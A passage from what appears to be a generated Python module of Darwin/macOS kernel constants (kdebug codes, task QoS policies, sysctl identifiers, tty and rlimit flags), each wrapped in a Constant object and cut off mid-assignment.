DBG_APP_RUNLOOP_BASIC = Constant('DBG_APP_RUNLOOP_BASIC',0x11) DBG_APP_RUNLOOP_ADVANCED = Constant('DBG_APP_RUNLOOP_ADVANCED',0x12) DBG_APP_SAMBA = Constant('DBG_APP_SAMBA',0x80) DBG_APP_EOSSUPPORT = Constant('DBG_APP_EOSSUPPORT',0x81) DBG_APP_MACEFIMANAGER = Constant('DBG_APP_MACEFIMANAGER',0x82) DBG_APP_ENTERPRISE = Constant('DBG_APP_ENTERPRISE',0x83) OPEN_THROTTLE_WINDOW = Constant('OPEN_THROTTLE_WINDOW',0x1) PROCESS_THROTTLED = Constant('PROCESS_THROTTLED',0x2) IO_THROTTLE_DISABLE = Constant('IO_THROTTLE_DISABLE',0x3) IO_TIER_UPL_MISMATCH = Constant('IO_TIER_UPL_MISMATCH',0x4) IMP_ASSERTION = Constant('IMP_ASSERTION',0x10) IMP_BOOST = Constant('IMP_BOOST',0x11) IMP_MSG = Constant('IMP_MSG',0x12) IMP_WATCHPORT = Constant('IMP_WATCHPORT',0x13) IMP_TASK_SUPPRESSION = Constant('IMP_TASK_SUPPRESSION',0x17) IMP_TASK_APPTYPE = Constant('IMP_TASK_APPTYPE',0x18) IMP_UPDATE = Constant('IMP_UPDATE',0x19) IMP_USYNCH_QOS_OVERRIDE = Constant('IMP_USYNCH_QOS_OVERRIDE',0x1A) IMP_DONOR_CHANGE = Constant('IMP_DONOR_CHANGE',0x1B) IMP_MAIN_THREAD_QOS = Constant('IMP_MAIN_THREAD_QOS',0x1C) IMP_SYNC_IPC_QOS = Constant('IMP_SYNC_IPC_QOS',0x1D) IMP_TASK_POLICY_DARWIN_BG = Constant('IMP_TASK_POLICY_DARWIN_BG',0x21) IMP_TASK_POLICY_IOPOL = Constant('IMP_TASK_POLICY_IOPOL',0x22) IMP_TASK_POLICY_IO = Constant('IMP_TASK_POLICY_IO',0x23) IMP_TASK_POLICY_PASSIVE_IO = Constant('IMP_TASK_POLICY_PASSIVE_IO',0x24) IMP_TASK_POLICY_DARWIN_BG_IOPOL = Constant('IMP_TASK_POLICY_DARWIN_BG_IOPOL',0x27) IMP_TASK_POLICY_BOOST = Constant('IMP_TASK_POLICY_BOOST',0x29) IMP_TASK_POLICY_ROLE = Constant('IMP_TASK_POLICY_ROLE',0x2A) IMP_TASK_POLICY_TERMINATED = Constant('IMP_TASK_POLICY_TERMINATED',0x2C) IMP_TASK_POLICY_NEW_SOCKETS_BG = Constant('IMP_TASK_POLICY_NEW_SOCKETS_BG',0x2D) IMP_TASK_POLICY_SUP_ACTIVE = Constant('IMP_TASK_POLICY_SUP_ACTIVE',0x2E) IMP_TASK_POLICY_LATENCY_QOS = Constant('IMP_TASK_POLICY_LATENCY_QOS',0x2F) IMP_TASK_POLICY_THROUGH_QOS = Constant('IMP_TASK_POLICY_THROUGH_QOS',0x30) IMP_TASK_POLICY_WATCHERS_BG = Constant('IMP_TASK_POLICY_WATCHERS_BG',0x31) IMP_TASK_POLICY_SFI_MANAGED = Constant('IMP_TASK_POLICY_SFI_MANAGED',0x34) IMP_TASK_POLICY_ALL_SOCKETS_BG = Constant('IMP_TASK_POLICY_ALL_SOCKETS_BG',0x37) IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS',0x39) IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS',0x3A) IMP_TASK_POLICY_PIDBIND_BG = Constant('IMP_TASK_POLICY_PIDBIND_BG',0x32) IMP_TASK_POLICY_QOS_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_OVERRIDE',0x36) IMP_TASK_POLICY_QOS_AND_RELPRIO = Constant('IMP_TASK_POLICY_QOS_AND_RELPRIO',0x38) IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE',0x3B) IMP_TASK_POLICY_QOS_PROMOTE = Constant('IMP_TASK_POLICY_QOS_PROMOTE',0x3C) IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE',0x3D) IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE',0x3E) IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE',0x3F) IMP_TASK_POLICY_WI_DRIVEN = Constant('IMP_TASK_POLICY_WI_DRIVEN',0x40) IMP_HOLD = Constant('IMP_HOLD',0x2) IMP_DROP = Constant('IMP_DROP',0x4) IMP_EXTERN = Constant('IMP_EXTERN',0x8) IMP_BOOSTED = Constant('IMP_BOOSTED',0x1) IMP_UNBOOSTED = Constant('IMP_UNBOOSTED',0x2) IMP_MSG_SEND = Constant('IMP_MSG_SEND',0x1) IMP_MSG_DELV = Constant('IMP_MSG_DELV',0x2) IMP_UPDATE_TASK_CREATE = Constant('IMP_UPDATE_TASK_CREATE',0x1) IMP_USYNCH_ADD_OVERRIDE = Constant('IMP_USYNCH_ADD_OVERRIDE',0x0) IMP_USYNCH_REMOVE_OVERRIDE = Constant('IMP_USYNCH_REMOVE_OVERRIDE',0x1) IMP_DONOR_UPDATE_LIVE_DONOR_STATE = Constant('IMP_DONOR_UPDATE_LIVE_DONOR_STATE',0x0) IMP_DONOR_INIT_DONOR_STATE = Constant('IMP_DONOR_INIT_DONOR_STATE',0x1) IMP_SYNC_IPC_QOS_APPLIED = Constant('IMP_SYNC_IPC_QOS_APPLIED',0x0) IMP_SYNC_IPC_QOS_REMOVED = Constant('IMP_SYNC_IPC_QOS_REMOVED',0x1) IMP_SYNC_IPC_QOS_OVERFLOW = Constant('IMP_SYNC_IPC_QOS_OVERFLOW',0x2) IMP_SYNC_IPC_QOS_UNDERFLOW = Constant('IMP_SYNC_IPC_QOS_UNDERFLOW',0x3) TURNSTILE_HEAP_OPERATIONS = Constant('TURNSTILE_HEAP_OPERATIONS',0x10) TURNSTILE_PRIORITY_OPERATIONS = Constant('TURNSTILE_PRIORITY_OPERATIONS',0x20) TURNSTILE_FREELIST_OPERATIONS = Constant('TURNSTILE_FREELIST_OPERATIONS',0x30) THREAD_ADDED_TO_TURNSTILE_WAITQ = Constant('THREAD_ADDED_TO_TURNSTILE_WAITQ',0x1) THREAD_REMOVED_FROM_TURNSTILE_WAITQ = Constant('THREAD_REMOVED_FROM_TURNSTILE_WAITQ',0x2) THREAD_MOVED_IN_TURNSTILE_WAITQ = Constant('THREAD_MOVED_IN_TURNSTILE_WAITQ',0x3) TURNSTILE_ADDED_TO_TURNSTILE_HEAP = Constant('TURNSTILE_ADDED_TO_TURNSTILE_HEAP',0x4) TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP = Constant('TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP',0x5) TURNSTILE_MOVED_IN_TURNSTILE_HEAP = Constant('TURNSTILE_MOVED_IN_TURNSTILE_HEAP',0x6) TURNSTILE_ADDED_TO_THREAD_HEAP = Constant('TURNSTILE_ADDED_TO_THREAD_HEAP',0x7) TURNSTILE_REMOVED_FROM_THREAD_HEAP = Constant('TURNSTILE_REMOVED_FROM_THREAD_HEAP',0x8) TURNSTILE_MOVED_IN_THREAD_HEAP = Constant('TURNSTILE_MOVED_IN_THREAD_HEAP',0x9) TURNSTILE_UPDATE_STOPPED_BY_LIMIT = Constant('TURNSTILE_UPDATE_STOPPED_BY_LIMIT',0xa) THREAD_NOT_WAITING_ON_TURNSTILE = Constant('THREAD_NOT_WAITING_ON_TURNSTILE',0xb) TURNSTILE_PRIORITY_CHANGE = Constant('TURNSTILE_PRIORITY_CHANGE',0x1) THREAD_USER_PROMOTION_CHANGE = Constant('THREAD_USER_PROMOTION_CHANGE',0x2) TURNSTILE_PREPARE = Constant('TURNSTILE_PREPARE',0x1) TURNSTILE_COMPLETE = Constant('TURNSTILE_COMPLETE',0x2) BANK_ACCOUNT_INFO = Constant('BANK_ACCOUNT_INFO',0x10) BANK_TASK_INFO = Constant('BANK_TASK_INFO',0x11) ATM_SUBAID_INFO = Constant('ATM_SUBAID_INFO',0x10) ATM_GETVALUE_INFO = Constant('ATM_GETVALUE_INFO',0x20) ATM_UNREGISTER_INFO = Constant('ATM_UNREGISTER_INFO',0x30) BANK_SETTLE_CPU_TIME = Constant('BANK_SETTLE_CPU_TIME',0x1) BANK_SECURE_ORIGINATOR_CHANGED = Constant('BANK_SECURE_ORIGINATOR_CHANGED',0x2) BANK_SETTLE_ENERGY = Constant('BANK_SETTLE_ENERGY',0x3) ATM_MIN_CALLED = Constant('ATM_MIN_CALLED',0x1) ATM_LINK_LIST_TRIM = Constant('ATM_LINK_LIST_TRIM',0x2) ATM_VALUE_REPLACED = Constant('ATM_VALUE_REPLACED',0x1) ATM_VALUE_ADDED = Constant('ATM_VALUE_ADDED',0x2) ATM_VALUE_UNREGISTERED = Constant('ATM_VALUE_UNREGISTERED',0x1) ATM_VALUE_DIFF_MAILBOX = Constant('ATM_VALUE_DIFF_MAILBOX',0x2) DBG_DAEMON_COREDUET = Constant('DBG_DAEMON_COREDUET',0x1) DBG_DAEMON_POWERD = Constant('DBG_DAEMON_POWERD',0x2) DBG_UMALLOC_EXTERNAL = Constant('DBG_UMALLOC_EXTERNAL',0x1) DBG_UMALLOC_INTERNAL = Constant('DBG_UMALLOC_INTERNAL',0x2) BSD = Constant('BSD',199506) BSD4_3 = Constant('BSD4_3',1) BSD4_4 = Constant('BSD4_4',1) NeXTBSD = Constant('NeXTBSD',1995064) NeXTBSD4_0 = Constant('NeXTBSD4_0',0) MAXCOMLEN = Constant('MAXCOMLEN',16) MAXINTERP = Constant('MAXINTERP',64) MAXLOGNAME = Constant('MAXLOGNAME',255) NOFILE = Constant('NOFILE',256) NOGROUP = Constant('NOGROUP',65535) MAXHOSTNAMELEN = Constant('MAXHOSTNAMELEN',256) MAXDOMNAMELEN = Constant('MAXDOMNAMELEN',256) PSWP = Constant('PSWP',0) PVM = Constant('PVM',4) PINOD = Constant('PINOD',8) PRIBIO = Constant('PRIBIO',16) PVFS = Constant('PVFS',20) PZERO = Constant('PZERO',22) PSOCK = Constant('PSOCK',24) PWAIT = Constant('PWAIT',32) PLOCK = Constant('PLOCK',36) PPAUSE = Constant('PPAUSE',40) PUSER = Constant('PUSER',50) MAXPRI = Constant('MAXPRI',127) PRIMASK = Constant('PRIMASK',0x0ff) PCATCH = Constant('PCATCH',0x100) PTTYBLOCK = Constant('PTTYBLOCK',0x200) PDROP = Constant('PDROP',0x400) PSPIN = Constant('PSPIN',0x800) CMASK = Constant('CMASK',0o022) CBLOCK = Constant('CBLOCK',64) MAXFRAG = Constant('MAXFRAG',8) MAXSYMLINKS = Constant('MAXSYMLINKS',32) FSHIFT = Constant('FSHIFT',11) LF_NOT_BOOSTED = Constant('LF_NOT_BOOSTED',0) LF_BOOSTED = Constant('LF_BOOSTED',1) PSHMNAMLEN = Constant('PSHMNAMLEN',31) SHM_RDONLY = Constant('SHM_RDONLY',0o010000) SHM_RND = Constant('SHM_RND',0o020000) SHMLBA = Constant('SHMLBA',4096) TIOCM_LE = Constant('TIOCM_LE',0o0001) TIOCM_DTR = Constant('TIOCM_DTR',0o0002) TIOCM_RTS = Constant('TIOCM_RTS',0o0004) TIOCM_ST = Constant('TIOCM_ST',0o0010) TIOCM_SR = Constant('TIOCM_SR',0o0020) TIOCM_CTS = Constant('TIOCM_CTS',0o0040) TIOCM_CAR = Constant('TIOCM_CAR',0o0100) TIOCM_RNG = Constant('TIOCM_RNG',0o0200) TIOCM_DSR = Constant('TIOCM_DSR',0o0400) TIOCPKT_DATA = Constant('TIOCPKT_DATA',0x00) TIOCPKT_FLUSHREAD = Constant('TIOCPKT_FLUSHREAD',0x01) TIOCPKT_FLUSHWRITE = Constant('TIOCPKT_FLUSHWRITE',0x02) TIOCPKT_STOP = Constant('TIOCPKT_STOP',0x04) TIOCPKT_START = Constant('TIOCPKT_START',0x08) TIOCPKT_NOSTOP = Constant('TIOCPKT_NOSTOP',0x10) TIOCPKT_DOSTOP = Constant('TIOCPKT_DOSTOP',0x20) TIOCPKT_IOCTL = Constant('TIOCPKT_IOCTL',0x40) TTYDISC = Constant('TTYDISC',0) TABLDISC = Constant('TABLDISC',3) SLIPDISC = Constant('SLIPDISC',4) PPPDISC = Constant('PPPDISC',5) CTL_MAXNAME = Constant('CTL_MAXNAME',12) CTLTYPE = Constant('CTLTYPE',0xf) CTLTYPE_NODE = Constant('CTLTYPE_NODE',1) CTLTYPE_INT = Constant('CTLTYPE_INT',2) CTLTYPE_STRING = Constant('CTLTYPE_STRING',3) CTLTYPE_QUAD = Constant('CTLTYPE_QUAD',4) CTLTYPE_OPAQUE = Constant('CTLTYPE_OPAQUE',5) CTLFLAG_RD = Constant('CTLFLAG_RD',0x80000000) CTLFLAG_WR = Constant('CTLFLAG_WR',0x40000000) CTLFLAG_NOLOCK = Constant('CTLFLAG_NOLOCK',0x20000000) CTLFLAG_ANYBODY = Constant('CTLFLAG_ANYBODY',0x10000000) CTLFLAG_SECURE = Constant('CTLFLAG_SECURE',0x08000000) CTLFLAG_MASKED = Constant('CTLFLAG_MASKED',0x04000000) CTLFLAG_NOAUTO = Constant('CTLFLAG_NOAUTO',0x02000000) CTLFLAG_KERN = Constant('CTLFLAG_KERN',0x01000000) CTLFLAG_LOCKED = Constant('CTLFLAG_LOCKED',0x00800000) CTLFLAG_OID2 = Constant('CTLFLAG_OID2',0x00400000) CTLFLAG_EXPERIMENT = Constant('CTLFLAG_EXPERIMENT',0x00100000) OID_AUTO_START = Constant('OID_AUTO_START',100) SYSCTL_OID_VERSION = Constant('SYSCTL_OID_VERSION',1) SYSCTL_SKMEM = Constant('SYSCTL_SKMEM',1) CTL_UNSPEC = Constant('CTL_UNSPEC',0) CTL_KERN = Constant('CTL_KERN',1) CTL_VM = Constant('CTL_VM',2) CTL_VFS = Constant('CTL_VFS',3) CTL_NET = Constant('CTL_NET',4) CTL_DEBUG = Constant('CTL_DEBUG',5) CTL_HW = Constant('CTL_HW',6) CTL_MACHDEP = Constant('CTL_MACHDEP',7) CTL_USER = Constant('CTL_USER',8) CTL_MAXID = Constant('CTL_MAXID',9) KERN_OSTYPE = Constant('KERN_OSTYPE',1) KERN_OSRELEASE = Constant('KERN_OSRELEASE',2) KERN_OSREV = Constant('KERN_OSREV',3) KERN_VERSION = Constant('KERN_VERSION',4) KERN_MAXVNODES = Constant('KERN_MAXVNODES',5) KERN_MAXPROC = Constant('KERN_MAXPROC',6) KERN_MAXFILES = Constant('KERN_MAXFILES',7) KERN_ARGMAX = Constant('KERN_ARGMAX',8) KERN_SECURELVL = Constant('KERN_SECURELVL',9) KERN_HOSTNAME = Constant('KERN_HOSTNAME',10) KERN_HOSTID = Constant('KERN_HOSTID',11) KERN_CLOCKRATE = Constant('KERN_CLOCKRATE',12) KERN_VNODE = Constant('KERN_VNODE',13) KERN_PROC = Constant('KERN_PROC',14) KERN_FILE = Constant('KERN_FILE',15) KERN_PROF = Constant('KERN_PROF',16) KERN_POSIX1 = Constant('KERN_POSIX1',17) KERN_NGROUPS = Constant('KERN_NGROUPS',18) KERN_JOB_CONTROL = Constant('KERN_JOB_CONTROL',19) KERN_SAVED_IDS = Constant('KERN_SAVED_IDS',20) KERN_BOOTTIME = Constant('KERN_BOOTTIME',21) KERN_NISDOMAINNAME = Constant('KERN_NISDOMAINNAME',22) KERN_MAXPARTITIONS = Constant('KERN_MAXPARTITIONS',23) KERN_KDEBUG = Constant('KERN_KDEBUG',24) KERN_UPDATEINTERVAL = Constant('KERN_UPDATEINTERVAL',25) KERN_OSRELDATE = Constant('KERN_OSRELDATE',26) KERN_NTP_PLL = Constant('KERN_NTP_PLL',27) KERN_BOOTFILE = Constant('KERN_BOOTFILE',28) KERN_MAXFILESPERPROC = Constant('KERN_MAXFILESPERPROC',29) KERN_MAXPROCPERUID = Constant('KERN_MAXPROCPERUID',30) KERN_DUMPDEV = Constant('KERN_DUMPDEV',31) KERN_IPC = Constant('KERN_IPC',32) KERN_DUMMY = Constant('KERN_DUMMY',33) KERN_PS_STRINGS = Constant('KERN_PS_STRINGS',34) KERN_USRSTACK32 = Constant('KERN_USRSTACK32',35) KERN_LOGSIGEXIT = Constant('KERN_LOGSIGEXIT',36) KERN_SYMFILE = Constant('KERN_SYMFILE',37) KERN_PROCARGS = Constant('KERN_PROCARGS',38) KERN_NETBOOT = Constant('KERN_NETBOOT',40) KERN_SYSV = Constant('KERN_SYSV',42) KERN_AFFINITY = Constant('KERN_AFFINITY',43) KERN_TRANSLATE = Constant('KERN_TRANSLATE',44) KERN_EXEC = Constant('KERN_EXEC',45) KERN_AIOMAX = Constant('KERN_AIOMAX',46) KERN_AIOPROCMAX = Constant('KERN_AIOPROCMAX',47) KERN_AIOTHREADS = Constant('KERN_AIOTHREADS',48) KERN_PROCARGS2 = Constant('KERN_PROCARGS2',49) KERN_COREFILE = Constant('KERN_COREFILE',50) KERN_COREDUMP = Constant('KERN_COREDUMP',51) KERN_SUGID_COREDUMP = Constant('KERN_SUGID_COREDUMP',52) KERN_PROCDELAYTERM = Constant('KERN_PROCDELAYTERM',53) KERN_SHREG_PRIVATIZABLE = Constant('KERN_SHREG_PRIVATIZABLE',54) KERN_LOW_PRI_WINDOW = Constant('KERN_LOW_PRI_WINDOW',56) KERN_LOW_PRI_DELAY = Constant('KERN_LOW_PRI_DELAY',57) KERN_POSIX = Constant('KERN_POSIX',58) KERN_USRSTACK64 = Constant('KERN_USRSTACK64',59) KERN_NX_PROTECTION = Constant('KERN_NX_PROTECTION',60) KERN_TFP = Constant('KERN_TFP',61) KERN_PROCNAME = Constant('KERN_PROCNAME',62) KERN_THALTSTACK = Constant('KERN_THALTSTACK',63) KERN_SPECULATIVE_READS = Constant('KERN_SPECULATIVE_READS',64) KERN_OSVERSION = Constant('KERN_OSVERSION',65) KERN_SAFEBOOT = Constant('KERN_SAFEBOOT',66) KERN_RAGEVNODE = Constant('KERN_RAGEVNODE',68) KERN_TTY = Constant('KERN_TTY',69) KERN_CHECKOPENEVT = Constant('KERN_CHECKOPENEVT',70) KERN_THREADNAME = Constant('KERN_THREADNAME',71) KERN_MAXID = Constant('KERN_MAXID',72) KERN_RAGE_PROC = Constant('KERN_RAGE_PROC',1) KERN_RAGE_THREAD = Constant('KERN_RAGE_THREAD',2) KERN_UNRAGE_PROC = Constant('KERN_UNRAGE_PROC',3) KERN_UNRAGE_THREAD = Constant('KERN_UNRAGE_THREAD',4) KERN_OPENEVT_PROC = Constant('KERN_OPENEVT_PROC',1) KERN_UNOPENEVT_PROC = Constant('KERN_UNOPENEVT_PROC',2) KERN_TFP_POLICY = Constant('KERN_TFP_POLICY',1) KERN_TFP_POLICY_DENY = Constant('KERN_TFP_POLICY_DENY',0) KERN_TFP_POLICY_DEFAULT = Constant('KERN_TFP_POLICY_DEFAULT',2) KERN_KDEFLAGS = Constant('KERN_KDEFLAGS',1) KERN_KDDFLAGS = Constant('KERN_KDDFLAGS',2) KERN_KDENABLE = Constant('KERN_KDENABLE',3) KERN_KDSETBUF = Constant('KERN_KDSETBUF',4) KERN_KDGETBUF = Constant('KERN_KDGETBUF',5) KERN_KDSETUP = Constant('KERN_KDSETUP',6) KERN_KDREMOVE = Constant('KERN_KDREMOVE',7) KERN_KDSETREG = Constant('KERN_KDSETREG',8) KERN_KDGETREG = Constant('KERN_KDGETREG',9) KERN_KDREADTR = Constant('KERN_KDREADTR',10) KERN_KDPIDTR = Constant('KERN_KDPIDTR',11) KERN_KDTHRMAP = Constant('KERN_KDTHRMAP',12) KERN_KDPIDEX = Constant('KERN_KDPIDEX',14) KERN_KDSETRTCDEC = Constant('KERN_KDSETRTCDEC',15) KERN_KDGETENTROPY = Constant('KERN_KDGETENTROPY',16) KERN_KDWRITETR = Constant('KERN_KDWRITETR',17) KERN_KDWRITEMAP = Constant('KERN_KDWRITEMAP',18) KERN_KDTEST = Constant('KERN_KDTEST',19) KERN_KDREADCURTHRMAP = Constant('KERN_KDREADCURTHRMAP',21) KERN_KDSET_TYPEFILTER = Constant('KERN_KDSET_TYPEFILTER',22) KERN_KDBUFWAIT = Constant('KERN_KDBUFWAIT',23) KERN_KDCPUMAP = Constant('KERN_KDCPUMAP',24) KERN_KDCPUMAP_EXT = Constant('KERN_KDCPUMAP_EXT',25) KERN_KDSET_EDM = Constant('KERN_KDSET_EDM',26) KERN_KDGET_EDM = Constant('KERN_KDGET_EDM',27) KERN_KDWRITETR_V3 = Constant('KERN_KDWRITETR_V3',28) KERN_PROC_ALL = Constant('KERN_PROC_ALL',0) KERN_PROC_PID = Constant('KERN_PROC_PID',1) KERN_PROC_PGRP = Constant('KERN_PROC_PGRP',2) KERN_PROC_SESSION = Constant('KERN_PROC_SESSION',3) KERN_PROC_TTY = Constant('KERN_PROC_TTY',4) KERN_PROC_UID = Constant('KERN_PROC_UID',5) KERN_PROC_RUID = Constant('KERN_PROC_RUID',6) KERN_PROC_LCID = Constant('KERN_PROC_LCID',7) KERN_VFSNSPACE_HANDLE_PROC = Constant('KERN_VFSNSPACE_HANDLE_PROC',1) KERN_VFSNSPACE_UNHANDLE_PROC = Constant('KERN_VFSNSPACE_UNHANDLE_PROC',2) KIPC_MAXSOCKBUF = Constant('KIPC_MAXSOCKBUF',1) KIPC_SOCKBUF_WASTE = Constant('KIPC_SOCKBUF_WASTE',2) KIPC_SOMAXCONN = Constant('KIPC_SOMAXCONN',3) KIPC_MAX_LINKHDR = Constant('KIPC_MAX_LINKHDR',4) KIPC_MAX_PROTOHDR = Constant('KIPC_MAX_PROTOHDR',5) KIPC_MAX_HDR = Constant('KIPC_MAX_HDR',6) KIPC_MAX_DATALEN = Constant('KIPC_MAX_DATALEN',7) KIPC_MBSTAT = Constant('KIPC_MBSTAT',8) KIPC_NMBCLUSTERS = Constant('KIPC_NMBCLUSTERS',9) KIPC_SOQLIMITCOMPAT = Constant('KIPC_SOQLIMITCOMPAT',10) VM_METER = Constant('VM_METER',1) VM_LOADAVG = Constant('VM_LOADAVG',2) VM_MACHFACTOR = Constant('VM_MACHFACTOR',4) VM_SWAPUSAGE = Constant('VM_SWAPUSAGE',5) VM_MAXID = Constant('VM_MAXID',6) LSCALE = Constant('LSCALE',1000) HW_MACHINE = Constant('HW_MACHINE',1) HW_MODEL = Constant('HW_MODEL',2) HW_NCPU = Constant('HW_NCPU',3) HW_BYTEORDER = Constant('HW_BYTEORDER',4) HW_PHYSMEM = Constant('HW_PHYSMEM',5) HW_USERMEM = Constant('HW_USERMEM',6) HW_PAGESIZE = Constant('HW_PAGESIZE',7) HW_DISKNAMES = Constant('HW_DISKNAMES',8) HW_DISKSTATS = Constant('HW_DISKSTATS',9) HW_EPOCH = Constant('HW_EPOCH',10) HW_FLOATINGPT = Constant('HW_FLOATINGPT',11) HW_MACHINE_ARCH = Constant('HW_MACHINE_ARCH',12) HW_VECTORUNIT = Constant('HW_VECTORUNIT',13) HW_BUS_FREQ = Constant('HW_BUS_FREQ',14) HW_CPU_FREQ = Constant('HW_CPU_FREQ',15) HW_CACHELINE = Constant('HW_CACHELINE',16) HW_L1ICACHESIZE = Constant('HW_L1ICACHESIZE',17) HW_L1DCACHESIZE = Constant('HW_L1DCACHESIZE',18) HW_L2SETTINGS = Constant('HW_L2SETTINGS',19) HW_L2CACHESIZE = Constant('HW_L2CACHESIZE',20) HW_L3SETTINGS = Constant('HW_L3SETTINGS',21) HW_L3CACHESIZE = Constant('HW_L3CACHESIZE',22) HW_TB_FREQ = Constant('HW_TB_FREQ',23) HW_MEMSIZE = Constant('HW_MEMSIZE',24) HW_AVAILCPU = Constant('HW_AVAILCPU',25) HW_TARGET = Constant('HW_TARGET',26) HW_PRODUCT = Constant('HW_PRODUCT',27) HW_MAXID = Constant('HW_MAXID',28) USER_CS_PATH = Constant('USER_CS_PATH',1) USER_BC_BASE_MAX = Constant('USER_BC_BASE_MAX',2) USER_BC_DIM_MAX = Constant('USER_BC_DIM_MAX',3) USER_BC_SCALE_MAX = Constant('USER_BC_SCALE_MAX',4) USER_BC_STRING_MAX = Constant('USER_BC_STRING_MAX',5) USER_COLL_WEIGHTS_MAX = Constant('USER_COLL_WEIGHTS_MAX',6) USER_EXPR_NEST_MAX = Constant('USER_EXPR_NEST_MAX',7) USER_LINE_MAX = Constant('USER_LINE_MAX',8) USER_RE_DUP_MAX = Constant('USER_RE_DUP_MAX',9) USER_POSIX2_VERSION = Constant('USER_POSIX2_VERSION',10) USER_POSIX2_C_BIND = Constant('USER_POSIX2_C_BIND',11) USER_POSIX2_C_DEV = Constant('USER_POSIX2_C_DEV',12) USER_POSIX2_CHAR_TERM = Constant('USER_POSIX2_CHAR_TERM',13) USER_POSIX2_FORT_DEV = Constant('USER_POSIX2_FORT_DEV',14) USER_POSIX2_FORT_RUN = Constant('USER_POSIX2_FORT_RUN',15) USER_POSIX2_LOCALEDEF = Constant('USER_POSIX2_LOCALEDEF',16) USER_POSIX2_SW_DEV = Constant('USER_POSIX2_SW_DEV',17) USER_POSIX2_UPE = Constant('USER_POSIX2_UPE',18) USER_STREAM_MAX = Constant('USER_STREAM_MAX',19) USER_TZNAME_MAX = Constant('USER_TZNAME_MAX',20) USER_MAXID = Constant('USER_MAXID',21) CTL_DEBUG_NAME = Constant('CTL_DEBUG_NAME',0) CTL_DEBUG_VALUE = Constant('CTL_DEBUG_VALUE',1) CTL_DEBUG_MAXID = Constant('CTL_DEBUG_MAXID',20) UTF_REVERSE_ENDIAN = Constant('UTF_REVERSE_ENDIAN',0x0001) UTF_NO_NULL_TERM = Constant('UTF_NO_NULL_TERM',0x0002) UTF_DECOMPOSED = Constant('UTF_DECOMPOSED',0x0004) UTF_PRECOMPOSED = Constant('UTF_PRECOMPOSED',0x0008) UTF_ESCAPE_ILLEGAL = Constant('UTF_ESCAPE_ILLEGAL',0x0010) UTF_SFM_CONVERSIONS = Constant('UTF_SFM_CONVERSIONS',0x0020) PRIO_PROCESS = Constant('PRIO_PROCESS',0) PRIO_PGRP = Constant('PRIO_PGRP',1) PRIO_USER = Constant('PRIO_USER',2) PRIO_DARWIN_THREAD = Constant('PRIO_DARWIN_THREAD',3) PRIO_DARWIN_PROCESS = Constant('PRIO_DARWIN_PROCESS',4) PRIO_MAX = Constant('PRIO_MAX',20) PRIO_DARWIN_BG = Constant('PRIO_DARWIN_BG',0x1000) PRIO_DARWIN_NONUI = Constant('PRIO_DARWIN_NONUI',0x1001) RUSAGE_SELF = Constant('RUSAGE_SELF',0) RUSAGE_INFO_V0 = Constant('RUSAGE_INFO_V0',0) RUSAGE_INFO_V1 = Constant('RUSAGE_INFO_V1',1) RUSAGE_INFO_V2 = Constant('RUSAGE_INFO_V2',2) RUSAGE_INFO_V3 = Constant('RUSAGE_INFO_V3',3) RUSAGE_INFO_V4 = Constant('RUSAGE_INFO_V4',4) RUSAGE_INFO_V5 = Constant('RUSAGE_INFO_V5',5) RUSAGE_INFO_V6 = Constant('RUSAGE_INFO_V6',6) RU_PROC_RUNS_RESLIDE = Constant('RU_PROC_RUNS_RESLIDE',0x00000001) RLIMIT_CPU = Constant('RLIMIT_CPU',0) RLIMIT_FSIZE = Constant('RLIMIT_FSIZE',1) RLIMIT_DATA = Constant('RLIMIT_DATA',2) RLIMIT_STACK = Constant('RLIMIT_STACK',3) RLIMIT_CORE = Constant('RLIMIT_CORE',4) RLIMIT_AS = Constant('RLIMIT_AS',5) RLIMIT_MEMLOCK = Constant('RLIMIT_MEMLOCK',6) RLIMIT_NPROC = Constant('RLIMIT_NPROC',7) RLIMIT_NOFILE = Constant('RLIMIT_NOFILE',8) RLIM_NLIMITS = Constant('RLIM_NLIMITS',9) _RLIMIT_POSIX_FLAG = Constant('_RLIMIT_POSIX_FLAG',0x1000) RLIMIT_WAKEUPS_MONITOR = Constant('RLIMIT_WAKEUPS_MONITOR',0x1) RLIMIT_CPU_USAGE_MONITOR = Constant('RLIMIT_CPU_USAGE_MONITOR',0x2) RLIMIT_THREAD_CPULIMITS = Constant('RLIMIT_THREAD_CPULIMITS',0x3) RLIMIT_FOOTPRINT_INTERVAL = Constant('RLIMIT_FOOTPRINT_INTERVAL',0x4) WAKEMON_ENABLE = Constant('WAKEMON_ENABLE',0x01) WAKEMON_DISABLE = Constant('WAKEMON_DISABLE',0x02) WAKEMON_GET_PARAMS = Constant('WAKEMON_GET_PARAMS',0x04) WAKEMON_SET_DEFAULTS = Constant('WAKEMON_SET_DEFAULTS',0x08) WAKEMON_MAKE_FATAL = Constant('WAKEMON_MAKE_FATAL',0x10) CPUMON_MAKE_FATAL = Constant('CPUMON_MAKE_FATAL',0x1000) FOOTPRINT_INTERVAL_RESET = Constant('FOOTPRINT_INTERVAL_RESET',0x1) IOPOL_TYPE_DISK = Constant('IOPOL_TYPE_DISK',0) IOPOL_TYPE_VFS_ATIME_UPDATES = Constant('IOPOL_TYPE_VFS_ATIME_UPDATES',2) IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES = Constant('IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES',3) IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME = Constant('IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME',4) IOPOL_TYPE_VFS_TRIGGER_RESOLVE = Constant('IOPOL_TYPE_VFS_TRIGGER_RESOLVE',5) IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION = 